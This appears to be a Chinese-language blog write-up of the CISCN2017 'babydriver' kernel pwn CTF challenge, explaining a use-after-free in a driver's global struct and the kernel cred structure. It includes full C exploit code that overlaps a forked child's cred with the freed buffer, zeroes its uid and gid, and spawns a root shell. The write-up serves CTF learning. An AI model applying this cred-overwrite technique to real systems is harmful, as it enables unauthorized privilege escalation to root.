第一道 kernel pwn 题 CISCN2017 - babydriver

搞定 环境之后  一切就很简单了起来 (起码做题自闭 总比 环境自闭好多了)

然后 参考链接是 wiki

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_uaf-zh/

 

至于 题目 wiki上都给好了 我们直接看驱动吧 这个题目确实是baby

没有任何的防护措施 而且符号表也没有 去掉 在很大程度上 把这个题简单化了

WIKI提供了两种思路  这个是第一种  UAF

看一下题目

第一道 kernel pwn 题 CISCN2017 - babydriver_第1张图片

这里的函数的大概意思 都能够百度的到 如果想具体了解的话  这就需要一些书籍和视频资料了

其实在这里就是很简单的一个程序 创建字符设备  然后 注册函数  注册  模块类型   然后 创建设备

值得注意的点就是这个设备结构体是全局的 也就是说 如果我们创建两次那么  第二次的会把第一次的给覆盖掉

这个就是UAF  

那么  怎么提权  这里有一个结构体

cred

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};

其中的改变其中的参数就可以提权 不过 怎么修改呢

在这里 我们可以改变缓冲区的大小

第一道 kernel pwn 题 CISCN2017 - babydriver_第2张图片

其中 可以设定 buf_len的长度大小

但是有一点 需要明白的是,,,

思路是fork  把进程的大部分内容直接给复制到另一个内容

但是怎么确定 fork  也就是子进程的 cred  正好落入“已经被free”的 设备缓冲区呢

那么需要把他的大小给确定了

看源码是一个选项,另一个选项是 自己一个驱动 然后看一下大小

在我上一篇博客上面有一个 细节

那么 确定好之后直接 写代码就ok了

#include 
#include 
#include 
#include 
#include 
#include 
#include 

int main()
{
    // 打开两次设备
    int fd1=open("/dev/babydev",2);
    int fd2=open("/dev/babydev",2);
    // 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
    ioctl(fd1,0x10001,168);
    // 释放 fd1
    close(fd1);

    // 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
    int pid=fork();
    if(pid<0)
    {
    	puts("[*] fork error!");
    	exit(0);
    }
    else if(pid == 0)
    {
        // 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
        char zeros[30] = {0};
        write(fd2,zeros,28);
        if(getuid()==0)
        {
        	puts("[+] get root!");
            system("/bin/sh");
            exit(0);
        }

	}
    else
    {
        wait(NULL);
    }
    close(fd2);

    return 0;
}

第一道 kernel pwn 题 CISCN2017 - babydriver_第3张图片

 

你可能感兴趣的:(栈溢出,堆溢出)